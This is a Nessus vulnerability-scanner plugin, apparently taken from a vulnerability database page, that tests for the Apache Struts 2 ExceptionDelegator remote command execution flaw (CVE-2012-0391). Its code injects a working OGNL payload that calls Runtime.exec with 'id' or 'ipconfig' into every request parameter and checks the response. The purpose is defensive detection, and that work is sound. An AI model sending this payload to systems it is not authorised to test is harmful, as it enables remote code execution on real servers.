Lucene search

K
nessusThis script is Copyright (C) 2013-2023 and is owned by Tenable, Inc. or an Affiliate thereof.STRUTS_EXCEPTIONDELEGATOR_COMMAND_EXECUTION.NASL
HistoryAug 07, 2013 - 12:00 a.m.

Apache Struts 2 ExceptionDelegator Arbitrary Remote Command Execution

2013-08-0700:00:00
This script is Copyright (C) 2013-2023 and is owned by Tenable, Inc. or an Affiliate thereof.
www.tenable.com
80

The remote web application appears to use Struts 2, a web framework that utilizes OGNL (Object-Graph Navigation Language) as an expression language. Due to an error in the way that the ExceptionDelegator component handles mismatched data types, an unauthenticated, remote attacker can execute arbitrary commands on the remote host by sending a specially crafted request order. This flaw is due to the ExceptionDelegator interpreting parameter values as OGNL expressions when there is a conversion error.

Note that this plugin will only report the first vulnerable instance of a Struts 2 application.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(69240);
  script_version("1.23");
  script_set_attribute(attribute:"plugin_modification_date", value:"2023/07/17");

  script_cve_id("CVE-2012-0391");
  script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/07/21");

  script_name(english:"Apache Struts 2 ExceptionDelegator Arbitrary Remote Command Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a web application that uses a Java
framework that is affected by a remote command execution
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote web application appears to use Struts 2, a web framework
that utilizes OGNL (Object-Graph Navigation Language) as an expression
language. Due to an error in the way that the ExceptionDelegator
component handles mismatched data types, an unauthenticated, remote
attacker can execute arbitrary commands on the remote host by sending
a specially crafted request order. This flaw is due to the
ExceptionDelegator interpreting parameter values as OGNL expressions
when there is a conversion error. 

Note that this plugin will only report the first vulnerable instance
of a Struts 2 application.");
  # https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?828dc6d2");
  script_set_attribute(attribute:"see_also", value:"http://struts.apache.org/docs/s2-007.html");
  script_set_attribute(attribute:"see_also", value:"http://struts.apache.org/docs/s2-008.html");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 2.2.3.1 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2012-0391");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Apache Struts Remote Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:"D2ExploitPack");

  script_set_attribute(attribute:"vuln_publication_date", value:"2011/08/05");
  script_set_attribute(attribute:"patch_publication_date", value:"2011/09/05");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/08/07");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2013-2023 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl", "webmirror.nasl", "os_fingerprint.nasl");
  script_require_ports("Services/www", 80, 8080);
  script_require_keys("Settings/enable_web_app_tests");

  exit(0);
}

include("http.inc");
include("torture_cgi.inc");
include("url_func.inc");

if (! get_kb_item("Settings/enable_web_app_tests"))
 exit(0, "Generic web application tests are disabled.");

port = get_http_port(default:8080);
cgis = get_kb_list('www/' + port + '/cgi');

urls = make_list();
# To identify actions that we can test the exploit on we will look
# for files with the .action / .jsp / .do suffix from the KB.
if (!isnull(cgis))
{
  foreach var cgi (cgis)
  {
    match = pregmatch(pattern:"((^.*)(/.+\.act(ion)?)($|\?|;))", string:cgi);
    if (match)
    {
      urls = make_list(urls, match[0]);
      if (!thorough_tests) break;
    }
    match2 = pregmatch(pattern:"(^.*)(/.+\.jsp)$", string:cgi);
    if (!isnull(match2))
    {
      urls = make_list(urls, match2[0]);
      if (!thorough_tests) break;
    }
    match3 = pregmatch(pattern:"(^.*)(/.+\.do)$", string:cgi);
    if (!isnull(match3))
    {
      urls = make_list(urls, match3[0]);
      if (!thorough_tests) break;
    }
    if (cgi =~ "struts2?(-rest)?-showcase")
    {
      urls = make_list(urls, cgi);
      if (!thorough_tests) break;
    }
  }
}
if (thorough_tests)
{
  cgi2 = get_kb_list('www/' + port + '/content/extensions/act*');
  if (!isnull(cgi2)) urls = make_list(urls, cgi2);

  cgi3 = get_kb_list('www/' + port + '/content/extensions/jsp');
  if (!isnull(cgi3)) urls = make_list(urls, cgi3);

  cgi4 = get_kb_list('www/' + port + '/content/extensions/do');
  if (!isnull(cgi4)) urls = make_list(urls, cgi4);
}

# Always check web root
urls = make_list(urls, "/");

# Struts is slow
timeout = get_read_timeout() * 2;
if(timeout < 10)
  timeout = 10;
http_set_read_timeout(timeout);

urls = list_uniq(urls);

# Determine which command to execute on target host
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) cmd = 'ipconfig';
  else cmd = 'id';

  cmds = make_list(cmd);
}
else cmds = make_list('id', 'ipconfig');

vuln = FALSE;
foreach var url (urls)
{
  # Grab CGI arguments for each .action file from KB
  cgi_args = get_cgi_arg_list(port:port, cgi:url);

  foreach cmd (cmds)
  {
    attack = "";
    exploit = "'+(#_memberAccess[" + '"allowStaticMethodAccess"]=true,' +
      "@java.lang.Runtime@getRuntime().exec('" + cmd + "'))+'";

    # Build a string with all CGI arguments set to the exploit string
    foreach var arg (cgi_args)
    {
      attack += arg + "=" + exploit + "&";
    }
    attack = ereg_replace(string:attack, pattern:"&$", replace:"");
    attack_url = url + "?" + attack;

    # Try testing with GET first
    # attack_url should look like this example :
    # /dir/blah.action?param='+(#memberAccess["allowStaticMethodAccess"]=true,
    # @java.lang.Runtime@getRuntime().exec('id'))+'
    res = http_send_recv3(
      method : "GET",
      item   : attack_url,
      port   : port,
      exit_on_fail : TRUE
    );

    if (res[2] =~ 'value="java\\.lang\\.(UNIX)?Process(Impl)?@(.+)" id=')
    {
      vuln = TRUE;
      vuln_url = build_url(qs:attack_url, port:port);
      output = res[2];
      break;
    }

    # Else try testing with POST
    attack_post = urlencode(
      str        : attack,
      unreserved : "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234" +
                   "56789=&_."
    );

    res2 = http_send_recv3(
      method : "POST",
      item   : url,
      data   : attack_post,
      port   : port,
      add_headers : make_array("Content-Type",
        "application/x-www-form-urlencoded"),
      exit_on_fail : TRUE
    );

    if (res2[2] =~ 'value="java\\.lang\\.(UNIX)?Process(Impl)?@(.+)" id=')
    {
      vuln = TRUE;
      vuln_url = http_last_sent_request();
      output = res2[2];
      break;
    }
  }
  # Stop after first vulnerable Struts app is found
  if (vuln) break;
}

if (!vuln) exit(0, 'No vulnerable applications were detected on the web server listening on port '+port+'.');

security_report_v4(
  port       : port,
  severity   : SECURITY_HOLE,
  generic    : TRUE,
  request    : make_list(vuln_url),
  output     : chomp(output)
);
VendorProductVersionCPE
apachestrutscpe:/a:apache:struts